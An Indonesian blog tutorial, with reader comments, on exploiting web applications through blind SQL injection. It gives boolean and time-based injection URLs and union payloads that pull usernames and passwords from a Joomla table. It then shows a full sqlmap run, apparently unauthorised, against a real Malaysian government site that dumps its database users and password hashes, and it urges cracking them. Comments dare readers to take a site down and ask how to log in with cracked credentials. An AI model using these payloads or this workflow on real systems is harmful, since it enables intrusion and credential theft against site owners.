Tutorial Teknik Exploitasi Web Application dengan Blind SQL Injection


Posting sebelumnya tentang Normal SQL Injection yaitu teknik megeksploitasi aplikasi web yang memanfaatkan error message yang dihasilkan oleh sql server dikarenakan kesalahan sintaks dalam melakukan query, tapi beberapa developer web mematikan pesan error kepada pengunjung ketika terjadi kesalahan sintaks untuk meminimalisir para attacker yang ingin mengeksploitasi web-nya, hal semacam ini bisa kita atasi dengan melakukan Blind SQL Injection. Blind SQL Injection tidak bergantung pada pesan error yang dihasilkan, tapi dengan memanfaatkan kondisi “True” atau “False”.Untuk mengetahui apakah aplikasi tersebut vulnerable atau tidak digunakan klausa and 1=1, sebagai contoh :

http://sibuta.com/items.php?id=2

menjadi,

http://sibuta.com/items.php?id=2 and 1=1

apakah halaman tersebut sama dengan halaman sebelumnya (http://sibuta.com/items.php?id=2) maka kondisi “true”

blind sql injection 1

jika kita melakukan query seperti ini :

http://sibuta.com/items.php?id=2 and 1=2

dan tidak muncul apa-apa maka kondisi “false”

blind sql injection 2

setelah yakin target yang anda dapatkan kita lanjutkan dengan mengidentifikasi user database, nama database yang digunakan, dan versi database yang digunakan. Untuk mengetahui user database kita menggunakan command mid() dan seperti biasa, kita bermain tebak-tebakan sampai kita menemukan semua karakter yang kita tebak.

http://sibuta.com/items.php?id=2+and+mid(user(),1,1)=
CHAR(97)

saya mulai dengan menebak karakter pertama “user(),1,1” yaitu “a” dengan nilai ascii 97, dan ternyata hasilnya “false” lalu saya tingkatkan angka 97 menjadi 98 hingga kondisi “true” dan akhirnya saya menemukan karakter pertama dari user database “w” dengan nilai ascii 119.

Lanjutkan dengan karakter ke dua dengan mengganti angka 1 pada baris ke dua pada klausa mid() hingga seperti ini

http://sibuta.com/items.php?id=2+and+mid(user(),1,2)=
CHAR(97,97)

dan saya tebak dimulai dari karakter a dengan nilai ascii 97, dan teruslah tebak hingga kondisi false, hingga saya menemukan kesemua karakternya

http://sibuta.com/items.php?id=2+and+mid(user(),1,15)=
CHAR(119,111,114,108,100,102,114,49,95,106,111,49,53,
49,64
)

dan kita konversi nilai ascii tersebut menjadi char, dan anda akan mendapatkan user dari database yang digunakan, selanjutnya kita akan cari nama databse yang digunakan dengan fungsi database(), langka-langkah sama seperti di atas, hanya saja fungsi user() diganti dengan database(), hingga seperti ini.

http://sibuta.com/items.php?id=2+and+mid(database(),
1,1)=CHAR(97)

cariiii teruuuuusssss,,,,,,,,,,,,,,😛
setelah selesai anda menemukan nama database, dilanjutkan dengan versi database yang digunakan si server seperti ini.

http://sibuta.com/items.php?id=2+and+substring(@@versio
n
,1,1)=5

jika kondisi “true” maka versi mySQL yang digunakan versi 5, dan bila “false” coba anda ganti angka lima menjadi 4 jika “true” database yang digunakan adalah versi 4. Setelah itu kita cari tahu berapa column yang terdapat di database dan column mana yang bisa kita injeksi.

http://sibuta.com/items.php?id=2+union+select+1--

jika kondisi “false” atau ada pesan error jumlah kolom bukan satu, terus tambahkan angka berikutnya hingga kondisi “true” sebagai contoh saya tebak columnya hingga 13.

blind sql injection 3

Jika kita belum tabel mana yang mengandung username dan password pada mysql versi 5 maka kita harus mengetahui informasi isi database, di information_schema seperti pada posting SQL Injection Vulnerability sebelumnya. Dibawah ini contoh injeksi pada komponen com_juser.

http://sibuta.com/index.php?option=com_juser&task=show_profile
&id=1+and+1=2+union+select+1,2,concat(username,
0x3a,password),4,5,6,7,8,9,10,11,12,13+from+
jos_users
--

blind sql injection 4

jika gagal dalam mencuri informasi di information_schema, langkah selanjutnya seperti biasa,, tebak-tebakan nama tabelnya hahahaaa🙂 . Diatas kebetulan target menggunakan engine Joomla entah versi berapa, yang saya ketahui tabel yang mengandung informasi username dan password ada di jos_users (default).

Jika gagal tidak seperti harapan,😦 .. tenang masih ada 1001 satu jalan…kita uji delay waktu yang dibutuhkan untuk menyelesaikan satu operasi jika kondisi “true”.

BENCHMARK(5000000,ENCODE('MSG','5detik'))

statement di atas akan menyelesaikan fungsi ENCODE dengan waktu sekitar 5 detik jika kondisi “True” waktu operasi juga tergantung performa server. Dengan memanfaatkan fungsi BENCHMARK dan ENCODE kita coba melakukan injeksi untuk mendapatkan username dan password ke tabel user seperti di bawah ini :


http://sibuta.com/items.php?id=2+and+1=2+union+SELECT+1,2,3,4,
IF(SUBSTRING(password,1,1)=CHAR(97),BENCHMARK(5000000,ENCODE('
MSG','by5sec')),null),6,7,8,9,10,11,12,13+FROM+user--

Jika server terjadi jeda respone beberapa waktu lebih dari 5 detik maka statement diatas bernilai “true”, karakter pertama kolom password adalah “a” nilai ascii 97, dan lanjutkan hingga semua karakter yang ada di dalam database terlihat walaupun tidak ada pesan error di tampilan web.

Database lain selain MySQL juga terdapat fungsi yang mendukung timing attack:

MS SQL ‘WAIT FOR DELAY ‘0:0:10
dan PostgreSQL – pg_sleep()

Selamat bermain tebak-tebakan hahahaaaa, i Lov U fulll,, hahahaa,,,

orangila : gue capek nieh maen tebak-tebakan, ada yang lebih mantep gak buat blind SQL Injection.
Answer : ada, pakek sqlmap
orangila : jiaah, knape gak dari tadi ,,,!!!😦

untuk melakukan Automate Blind SQL Injection kita mempergunakan tools buatan Bernardo Damele A. G. Penggunaannya sangat mudah sekali, cari target, atau kita juga pergunakan opsi dari sqlmap.py dengan bantuan google untuk mencari target tentukan opsi –users dan –password jika anda ingin mengintip username dan password di databse, lalu tunggu sambil ongkang-ongkang kaki aja, atau donlod video mesum yang mukanya kaya lobang buaya..,seperti dibawah ini contohnya.

root@slacker:~/# ./sqlmap.py -u http://www.cidb.gov.my/cidb/news_details.php?newsid=88 --users --passwords --proxy=http://101.144.0.20:3128

sqlmap/0.7
by Bernardo Damele A. G. <bernardo.damele@gmail.com>

[*] starting at: 13:40:36

[13:40:36] [INFO] testing connection to the target url
[13:40:49] [INFO] testing if the url is stable, wait a few seconds
[13:40:57] [INFO] url is stable
[13:40:57] [INFO] testing if User-Agent parameter ‘User-Agent’ is dynamic
[13:41:00] [WARNING] User-Agent parameter ‘User-Agent’ is not dynamic
[13:41:00] [INFO] testing if Cookie parameter ‘PHPSESSID’ is dynamic
[13:41:05] [WARNING] Cookie parameter ‘PHPSESSID’ is not dynamic
[13:41:05] [INFO] testing if GET parameter ‘newsid’ is dynamic
[13:41:07] [INFO] confirming that GET parameter ‘newsid’ is dynamic
[13:41:10] [INFO] GET parameter ‘newsid’ is dynamic
[13:41:10] [INFO] testing sql injection on GET parameter ‘newsid’ with 0 parenthesis
[13:41:10] [INFO] testing unescaped numeric injection on GET parameter ‘newsid’
[13:41:17] [INFO] confirming unescaped numeric injection on GET parameter ‘newsid’
[13:41:18] [INFO] GET parameter ‘newsid’ is unescaped numeric injectable with 0 parenthesis
[13:41:18] [INFO] testing for parenthesis on injectable parameter
[13:41:21] [INFO] the injectable parameter requires 0 parenthesis
[13:41:21] [INFO] testing MySQL
[13:41:25] [INFO] confirming MySQL
[13:41:28] [INFO] retrieved: 1
[13:41:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL >= 5.0.0

[13:41:49] [INFO] fetching database users
[13:41:49] [INFO] fetching number of database users
[13:41:49] [INFO] retrieved: 13
[13:42:20] [INFO] retrieved: ‘root’@’localhost’
[13:51:25] [INFO] retrieved: ‘root’@’mario’
[13:57:33] [INFO] retrieved: ‘vip’@’202.190.73.12’
[14:04:45] [INFO] retrieved: ‘vip’@’202.190.73.11’
[14:11:05] [INFO] retrieved: ‘vip’@’luigi’
[14:15:17] [INFO] retrieved: ‘vip’@’localhost’
[14:23:01] [INFO] retrieved: ‘vip’@’mario’
[14:26:08] [INFO] retrieved: ‘web’@’localhost’
[14:29:10] [INFO] retrieved: ‘root’@’localhost.localdomain’
[14:34:17] [INFO] retrieved: ‘root’@’luigi’
[14:38:31] [INFO] retrieved: ”@’localhost’
[14:40:37] [INFO] retrieved: ”@’localhost.localdomain’
[14:45:09] [INFO] retrieved: ‘vip’@’%’
database management system users [13]:
[*] ”@’localhost’
[*] ”@’localhost.localdomain’
[*] ‘root’@’localhost’
[*] ‘root’@’localhost.localdomain’
[*] ‘root’@’luigi’
[*] ‘root’@’mario’
[*] ‘vip’@’%’
[*] ‘vip’@’202.190.73.11’
[*] ‘vip’@’202.190.73.12’
[*] ‘vip’@’localhost’
[*] ‘vip’@’luigi’
[*] ‘vip’@’mario’
[*] ‘web’@’localhost’

[14:46:56] [INFO] fetching database users password hashes
[14:46:56] [INFO] fetching number of password hashes for user ‘root’
[14:46:56] [INFO] retrieved: 2
[14:47:06] [INFO] fetching password hashes for user ‘root’
[14:47:06] [INFO] retrieved: 44aa67b452efd430
[14:51:26] [INFO] retrieved:
[14:51:37] [INFO] fetching number of password hashes for user ‘vip’
[14:51:37] [INFO] retrieved: 1
[14:51:44] [INFO] fetching password hashes for user ‘vip’
[14:51:44] [INFO] retrieved: 44aa67b452efd430
[14:56:33] [INFO] fetching number of password hashes for user ‘web’
[14:56:33] [INFO] retrieved: 1
[14:56:47] [INFO] fetching password hashes for user ‘web’
[14:56:47] [INFO] retrieved: [14:58:04] [WARNING] connection timed out to the target url or proxy, sqlmap is going to retry the request
5[14:58:50] [WARNING] connection timed out to the target url or proxy, sqlmap is going to retry the request
0[14:59:45] [WARNING] unable to connect to the target url or proxy, sqlmap is going to retry the request
71ec32d2fb016
[15:03:25] [INFO] fetching number of password hashes for user ”
[15:03:25] [INFO] retrieved:
[15:03:27] [WARNING] unable to retrieve the number of password hashes for user ”
[15:03:27] [INFO] fetching number of password hashes for user ”
[15:03:27] [INFO] retrieved:
[15:03:28] [WARNING] unable to retrieve the number of password hashes for user ”
database management system users password hashes:
[*] root [2]:
password hash: 44aa67b452efd430 password hash: NULL [*] vip [1]:
password hash: 44aa67b452efd430 [*] web [1]:
password hash: 50 71ec32d2fb016

[15:03:28] [INFO] Fetched data logged to text files under ‘/mnt/sda/research/blindsqli/sqlmap-0.7/output/www.cidb.gov.my’

[*] shutting down at: 15:03:28

root@slacker:~/#

untuk situs malaysia gak usah sensor-sensoran lah🙂 .. tinggal di crack passwordnya pakek john the ripper atawa rainbow crack… any question ???.. sory buat indra owner web loe buat percobaan, tapi gak ada yang rusak kok,,tenang😛

reference :
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://www.owasp.org/index.php?title=Blind_SQL_Injection

38 thoughts on “Tutorial Teknik Exploitasi Web Application dengan Blind SQL Injection

  1. Halo,,,,

    Dengan ini saya sampaikan batas waktu anda hack tutorial di atas sampai tanggal 8 september 2009…

    jika anda berhasil membuat website tersebut menjadi down atau not akses . saya akan berikan domain Web.ID 1 thn pnuh dan FRee hosting blog via cpanel 11

    terima kasih

      • ???????????????????

        ga ada waktu????? pie toh??? wong hacker mah ngerjain nya cuman sebentar kok…. cuman mau tes aja benar ga artikel di atas telah terbuktik? apakah sama seperti bloger lain nya? hanya menaikan trafik website saja…

  2. saya bukan hacker cuy..itu kejauhan. Yng saya tulis slama ini hanya untuk pemula seperti saya..loh teknik sql injection scanggih apapun gak mungkin membuat sebuah web menjadi d0wn😀 ..oh anda masih ragu akan kebenaran p0c diatas,walaupun web anda jadi korban😛..saya bisa melakukan d0s dalam sehari tapi sayangnya gue blum ada akses internet dikamar bos, gw online lab kampus..hahaha..

  3. wahahahaha….. jadi batal neh????

    Oke saya percaya dengan anda.. anda melakukan Dos kan?

    dos mana yang anda lakukan untuk menyerang website saya?
    buffer overload?
    syn?
    teardop?
    smurf?
    icmp floodin?????

    saya sangat berterima kasih jika anda menguji sistem keaman website yang saya bangun… namun alangkah baiknya jika anda juga memberi tahu saya apa salah apa sistem website saya?

    heheheheehhee…

    jika anda berminat untuk mendapat Domain Web.Id dan Free Hosting selaman setahun penuh dengan space 100 dan bandwith 5 GB saya akan tawarkan untuk anda jika anda bergabung pada business saya.

    cuman 80 rb anda bisa menghasilkan uang dengan secara adil dan baru pertama kali di indonesia yang menyediakan fasilitas chat room dan send internal sesama member… jika bisnis online yang yang temukan selama ini tidak ada fasilitas seperti itu…

    segera bergabung….

  4. Banyak Ilmu d sini, BLOG ok juga,….Numpang Blajar y,…..
    Jangn lupa TETAP Bela MERAH PUTIH hajar MALINGSIA….ok…!!!

    >>> I ♥ INDONESIA <<<

  5. bang… mau tanya
    kalo udah ke crack passnya… kan harus cari id nya, nyarinya dimana?

    kalo udah ada id ama pass nya, cara nyari login pagenya gimana ya….?

    • CHAR(119,111,114,108,100,102,114,49,95,106,111,49,53,
      49,64)

      angka-angka diatas adalah nilai ascii di sebuah karakter,, pengertian tentang ASCII bisa dilihat digoogle,,

      nah coba nilai ascii 119 kita conversi ke karakter, dan nilai seterusnya akan menjadikan sebuah usernam dari database,,

      cara conversi coba liat ascii table di

      http://www.ascii-code.com/

      okeh,,,

  6. Hello there I am so happy I found your site, I really found you by accident,
    while I was searching on Yahoo for something else, Regardless
    I am here now and would just like to say many thanks
    for a incredible post and a all round interesting blog (I also love
    the theme/design), I don’t have time to read through it all at the moment but I have saved it and also added your RSS feeds, so when I have time I will be back to read a great deal more, Please do keep up the superb job.

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s